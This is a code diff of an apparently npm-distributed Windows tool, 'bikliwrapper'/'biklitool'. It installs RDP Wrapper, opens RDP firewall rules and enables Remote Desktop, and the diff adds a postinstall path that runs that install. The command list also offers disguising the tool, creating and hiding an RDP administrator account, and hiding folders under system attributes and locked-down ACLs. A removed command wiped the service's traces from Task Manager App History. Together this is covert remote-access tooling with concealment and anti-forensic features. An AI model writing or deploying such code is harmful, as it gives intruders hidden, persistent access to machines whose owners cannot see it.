|
|
997
|
-
if (command === 'install')
|
|
903
|
+
if (command === 'install') {
|
|
904
|
+
if (process.argv.includes('--postinstall')) {
|
|
905
|
+
try {
|
|
906
|
+
return install();
|
|
907
|
+
} catch (error) {
|
|
908
|
+
console.error(`Bikli Master postinstall could not finish: ${error.message}`);
|
|
909
|
+
console.error('Run "biklitool install" from an Administrator terminal to complete the installation.');
|
|
910
|
+
process.exitCode = 0;
|
|
911
|
+
return;
|
|
912
|
+
}
|
|
913
|
+
}
|
|
914
|
+
return install();
|
|
915
|
+
}
|
|
998
916
|
if (command === 'disguise') return disguiseBikli(process.argv[3]);
|
|
999
|
-
if (command === 'enable-rdp') return enableRemoteDesktop();
|
|
917
|
+
if (command === 'enable-rdp' || command === 'enable') return enableRemoteDesktop();
|
|
918
|
+
if (command === 'disable-rdp' || command === 'disable') return disableRemoteDesktop();
|
|
1000
919
|
if (command === 'create-user') return createRdpAdministrator();
|
|
1001
920
|
if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
|
|
1002
921
|
if (command === 'hide-user' || command === 'hide') return hideUser();
|
|
1003
922
|
if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
|
|
1004
|
-
if (command === 'clear-history' || command === 'clear-app-history') {
|
|
1005
|
-
requireWindows();
|
|
1006
|
-
if (!isAdministrator()) return elevateAndRun('clear-history');
|
|
1007
|
-
clearAppHistory();
|
|
1008
|
-
console.log('BikliService entries cleared from Task Manager App History.');
|
|
1009
|
-
return;
|
|
1010
|
-
}
|
|
1011
923
|
if (command === 'setup-key') return setupBikliKey();
|
|
1012
924
|
if (command === 'credentials') return showAccountCredentials();
|
|
1013
925
|
if (command === 'status') return status();
|
package/lib/bikliwrapper.js
CHANGED
|
@@ -24,6 +24,7 @@ if (resultFile) {
|
|
|
24
24
|
};
|
|
25
25
|
console.log = writeResult;
|
|
26
26
|
console.error = writeResult;
|
|
27
|
+
console.warn = writeResult;
|
|
27
28
|
}
|
|
28
29
|
|
|
29
30
|
const packageRoot = path.resolve(__dirname, '..');
|
|
@@ -228,17 +229,8 @@ function applyRequestedSettings() {
|
|
|
228
229
|
function ensureFirewallRules() {
|
|
229
230
|
const script = [
|
|
230
231
|
`$ErrorActionPreference='Stop'`,
|
|
231
|
-
// RDP TCP + UDP inbound rules
|
|
232
232
|
`$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,
|
|
233
|
-
`foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}
|
|
234
|
-
// ICMP Echo (ping) inbound rules – without this the host is unreachable by ping
|
|
235
|
-
`Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
|
|
236
|
-
`New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
|
|
237
|
-
`Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
|
|
238
|
-
`New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
|
|
239
|
-
// Also enable the built-in Core Networking Diagnostics ICMP rules for all profiles
|
|
240
|
-
`Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
|
|
241
|
-
`Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
|
|
233
|
+
`foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
|
|
242
234
|
].join(';');
|
|
243
235
|
run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
244
236
|
}
|
|
@@ -247,6 +239,13 @@ function runInstaller(argument) {
|
|
|
247
239
|
return run(installerPath, [argument], { cwd: payloadDirectory });
|
|
248
240
|
}
|
|
249
241
|
|
|
242
|
+
function restartTermService() {
|
|
243
|
+
const net = path.join(system32, 'net.exe');
|
|
244
|
+
run(net, ['stop', 'TermService', '/y'], { allowFailure: true });
|
|
245
|
+
run(net, ['start', 'TermService'], { allowFailure: true });
|
|
246
|
+
run(net, ['start', 'UmRdpService'], { allowFailure: true });
|
|
247
|
+
}
|
|
248
|
+
|
|
250
249
|
function serviceIsRunning() {
|
|
251
250
|
const result = run(path.join(system32, 'sc.exe'), ['query', 'TermService'], { allowFailure: true });
|
|
252
251
|
return result.status === 0 && /STATE\s*:\s*4\s+RUNNING/i.test(result.stdout);
|
|
@@ -261,25 +260,9 @@ function settingsAreCorrect() {
|
|
|
261
260
|
return requestedSettings.every(setting => queryDword(setting.key, setting.name) === setting.value);
|
|
262
261
|
}
|
|
263
262
|
|
|
264
|
-
function setTermServiceAutomatic() {
|
|
265
|
-
// Ensure TermService starts automatically so it survives reboots and wrapper restarts.
|
|
266
|
-
run(path.join(system32, 'sc.exe'), ['config', 'TermService', 'start=', 'auto'], { allowFailure: true });
|
|
267
|
-
run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
|
|
268
|
-
}
|
|
269
|
-
|
|
270
263
|
function waitForServiceAndListener() {
|
|
271
264
|
const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
|
|
272
|
-
|
|
273
|
-
for (let attempt = 0; attempt < 10; attempt += 1) {
|
|
274
|
-
if (serviceIsRunning()) break;
|
|
275
|
-
Atomics.wait(waitBuffer, 0, 0, 1000);
|
|
276
|
-
if (attempt === 4) {
|
|
277
|
-
// After 5s still not running – kick it
|
|
278
|
-
run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
|
|
279
|
-
}
|
|
280
|
-
}
|
|
281
|
-
// Then wait up to 30s for the RDP listener to appear
|
|
282
|
-
for (let attempt = 0; attempt < 30; attempt += 1) {
|
|
265
|
+
for (let attempt = 0; attempt < 20; attempt += 1) {
|
|
283
266
|
if (serviceIsRunning() && listenerIsListening()) return;
|
|
284
267
|
Atomics.wait(waitBuffer, 0, 0, 1000);
|
|
285
268
|
}
|
|
@@ -309,7 +292,7 @@ function printStatus(status) {
|
|
|
309
292
|
console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
|
|
310
293
|
}
|
|
311
294
|
|
|
312
|
-
function hideFolder(target, isUserProfile = false) {
|
|
295
|
+
function hideFolder(target, isUserProfile = false, extraGrants = []) {
|
|
313
296
|
if (!target || !fs.existsSync(target)) return;
|
|
314
297
|
try {
|
|
315
298
|
run(path.join(system32, 'attrib.exe'), ['+h', '+s', target], { allowFailure: true });
|
|
@@ -321,6 +304,7 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
321
304
|
'/grant:r',
|
|
322
305
|
'*S-1-5-18:(OI)(CI)(F)',
|
|
323
306
|
'*S-1-5-32-544:(OI)(CI)(F)',
|
|
307
|
+
...extraGrants,
|
|
324
308
|
'/c', '/q'
|
|
325
309
|
], { allowFailure: true });
|
|
326
310
|
}
|
|
@@ -331,15 +315,18 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
331
315
|
|
|
332
316
|
function hideProtectedFolders() {
|
|
333
317
|
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
318
|
+
// TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
|
|
319
|
+
// must keep read/execute access for that account or the service cannot start.
|
|
320
|
+
const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
|
|
334
321
|
const appFolders = [
|
|
335
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
336
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
337
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
338
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
339
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
|
|
340
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
|
|
322
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
|
|
323
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
|
|
324
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
|
|
325
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
|
|
326
|
+
{ target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper') },
|
|
327
|
+
{ target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli') }
|
|
341
328
|
];
|
|
342
|
-
for (const folder of appFolders) hideFolder(folder, false);
|
|
329
|
+
for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
|
|
343
330
|
|
|
344
331
|
const userFolders = [
|
|
345
332
|
path.join(usersDir, 'Administrator'),
|
|
@@ -349,45 +336,6 @@ function hideProtectedFolders() {
|
|
|
349
336
|
for (const folder of userFolders) hideFolder(folder, true);
|
|
350
337
|
}
|
|
351
338
|
|
|
352
|
-
function unhideFolder(target, isUserProfile = false) {
|
|
353
|
-
if (!target || !fs.existsSync(target)) return;
|
|
354
|
-
try {
|
|
355
|
-
run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', target], { allowFailure: true });
|
|
356
|
-
if (!isUserProfile) {
|
|
357
|
-
run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
358
|
-
run(path.join(system32, 'icacls.exe'), [
|
|
359
|
-
target,
|
|
360
|
-
'/grant:r',
|
|
361
|
-
'*S-1-5-18:(OI)(CI)(F)',
|
|
362
|
-
'*S-1-5-32-544:(OI)(CI)(F)',
|
|
363
|
-
'/c', '/q'
|
|
364
|
-
], { allowFailure: true });
|
|
365
|
-
}
|
|
366
|
-
} catch {
|
|
367
|
-
// Best-effort attribute and permission unlocking
|
|
368
|
-
}
|
|
369
|
-
}
|
|
370
|
-
|
|
371
|
-
function unhideProtectedFolders() {
|
|
372
|
-
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
373
|
-
const appFolders = [
|
|
374
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
375
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
376
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
377
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
378
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
|
|
379
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
|
|
380
|
-
];
|
|
381
|
-
for (const folder of appFolders) unhideFolder(folder, false);
|
|
382
|
-
|
|
383
|
-
const userFolders = [
|
|
384
|
-
path.join(usersDir, 'Administrator'),
|
|
385
|
-
path.join(usersDir, 'admin'),
|
|
386
|
-
path.join(usersDir, 'user')
|
|
387
|
-
];
|
|
388
|
-
for (const folder of userFolders) unhideFolder(folder, true);
|
|
389
|
-
}
|
|
390
|
-
|
|
391
339
|
function install() {
|
|
392
340
|
requireWindows();
|
|
393
341
|
if (!isAdministrator()) return elevateAndRun('install');
|
|
@@ -402,31 +350,12 @@ function install() {
|
|
|
402
350
|
fail(`This Terminal Services version is not present in the bundled compatibility data. Nothing was installed.`, 3);
|
|
403
351
|
}
|
|
404
352
|
|
|
405
|
-
// Unlock all protected folders before touching files or running RDPWInst
|
|
406
|
-
unhideProtectedFolders();
|
|
407
|
-
|
|
408
353
|
const settingsChanged = applyRequestedSettings();
|
|
409
354
|
ensureFirewallRules();
|
|
410
|
-
// Set TermService to Automatic before touching the wrapper so it auto-recovers after restarts.
|
|
411
|
-
setTermServiceAutomatic();
|
|
412
|
-
|
|
413
|
-
const defaultWrapperDir = path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper');
|
|
414
|
-
fs.mkdirSync(defaultWrapperDir, { recursive: true });
|
|
415
|
-
unhideFolder(defaultWrapperDir);
|
|
416
|
-
|
|
417
|
-
const targetIniPath = installation.installedIniPath || path.join(defaultWrapperDir, 'rdpwrap.ini');
|
|
418
355
|
|
|
419
356
|
if (!installation.installed) {
|
|
420
357
|
console.log('Installing RDP Wrapper silently...');
|
|
421
|
-
// If rdpwrap.ini already exists with restrictive attributes, remove them before installer runs
|
|
422
|
-
if (fs.existsSync(targetIniPath)) {
|
|
423
|
-
run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', targetIniPath], { allowFailure: true });
|
|
424
|
-
}
|
|
425
358
|
runInstaller('-i');
|
|
426
|
-
// RDPWInst extracts an outdated 2017 INI. Immediately overwrite with the bundled compatibility INI:
|
|
427
|
-
fs.copyFileSync(bundledIniPath, targetIniPath);
|
|
428
|
-
// Restart TermService to load the updated INI
|
|
429
|
-
runInstaller('-r');
|
|
430
359
|
} else if (!installation.installedSupported) {
|
|
431
360
|
console.log('Updating compatibility data silently...');
|
|
432
361
|
const backupPath = `${installation.installedIniPath}.bikli-backup`;
|
|
@@ -448,11 +377,7 @@ function install() {
|
|
|
448
377
|
console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
|
|
449
378
|
}
|
|
450
379
|
|
|
451
|
-
|
|
452
|
-
applyRequestedSettings();
|
|
453
|
-
// Ensure TermService is Automatic and running after the wrapper install.
|
|
454
|
-
setTermServiceAutomatic();
|
|
455
|
-
|
|
380
|
+
restartTermService();
|
|
456
381
|
waitForServiceAndListener();
|
|
457
382
|
hideProtectedFolders();
|
|
458
383
|
installation = detectInstallation(version);
|
|
@@ -468,13 +393,36 @@ function install() {
|
|
|
468
393
|
console.log('Bikli Wrapper installation and verification completed successfully.');
|
|
469
394
|
}
|
|
470
395
|
|
|
396
|
+
function disable() {
|
|
397
|
+
requireWindows();
|
|
398
|
+
if (!isAdministrator()) return elevateAndRun('disable');
|
|
399
|
+
console.log('Disabling Remote Desktop and stopping the RDP listener...');
|
|
400
|
+
run(path.join(system32, 'reg.exe'), [
|
|
401
|
+
'add', terminalServerKey, '/v', 'fDenyTSConnections', '/t', 'REG_DWORD',
|
|
402
|
+
'/d', '1', '/f', '/reg:64'
|
|
403
|
+
]);
|
|
404
|
+
const script = `Disable-NetFirewallRule -Name 'BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`;
|
|
405
|
+
run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
|
|
406
|
+
restartTermService();
|
|
407
|
+
if (queryDword(terminalServerKey, 'fDenyTSConnections') !== 1) {
|
|
408
|
+
fail('Remote Desktop could not be disabled.', 6);
|
|
409
|
+
}
|
|
410
|
+
if (listenerIsListening()) {
|
|
411
|
+
console.log('Warning: the RDP listener is still reported as listening; a reboot may be required.');
|
|
412
|
+
} else {
|
|
413
|
+
console.log('Remote Desktop disabled; the RDP listener is stopped.');
|
|
414
|
+
}
|
|
415
|
+
}
|
|
416
|
+
|
|
471
417
|
function selfTest() {
|
|
472
418
|
const packageJson = runningAsSea
|
|
473
419
|
? { name: 'bikliwrapper' }
|
|
474
420
|
: JSON.parse(fs.readFileSync(path.join(packageRoot, 'package.json'), 'utf8'));
|
|
475
421
|
const ini = fs.readFileSync(bundledIniPath, 'utf8');
|
|
476
422
|
const checks = {
|
|
477
|
-
packageName:
|
|
423
|
+
packageName: packageJson.name === 'bikliwrapper' || packageJson.name === 'biklimaster' ||
|
|
424
|
+
packageJson.name === '@biklitime/biklimaster' || packageJson.name === 'biklitool' ||
|
|
425
|
+
packageJson.name === '@biklitime/biklitool' || packageJson.name === 'sbironman',
|
|
478
426
|
executableMode: runningAsSea ? path.extname(process.execPath).toLowerCase() === '.exe' : true,
|
|
479
427
|
installerPresent: fs.statSync(installerPath).size > 100000,
|
|
480
428
|
iniPresent: ini.length > 100000,
|
|
@@ -498,6 +446,7 @@ function showHelp() {
|
|
|
498
446
|
' bikliwrapper install Install/update silently, apply defaults, and verify',
|
|
499
447
|
' bikliwrapper status Show installation, support, service, and listener status',
|
|
500
448
|
' bikliwrapper defaults Reapply the requested defaults and restart if needed',
|
|
449
|
+
' bikliwrapper disable Disable Remote Desktop and stop the RDP listener',
|
|
501
450
|
' bikliwrapper self-test Validate the npm package payload without changing Windows',
|
|
502
451
|
'',
|
|
503
452
|
'Run install/defaults from an Administrator terminal.'
|
|
@@ -506,7 +455,8 @@ function showHelp() {
|
|
|
506
455
|
|
|
507
456
|
function main() {
|
|
508
457
|
const command = (process.argv[2] || 'status').toLowerCase();
|
|
509
|
-
if (command === 'install' || command === 'defaults') return install();
|
|
458
|
+
if (command === 'install' || command === 'defaults' || command === 'enable') return install();
|
|
459
|
+
if (command === 'disable') return disable();
|
|
510
460
|
if (command === 'status') {
|
|
511
461
|
requireWindows();
|
|
512
462
|
const status = collectStatus();
|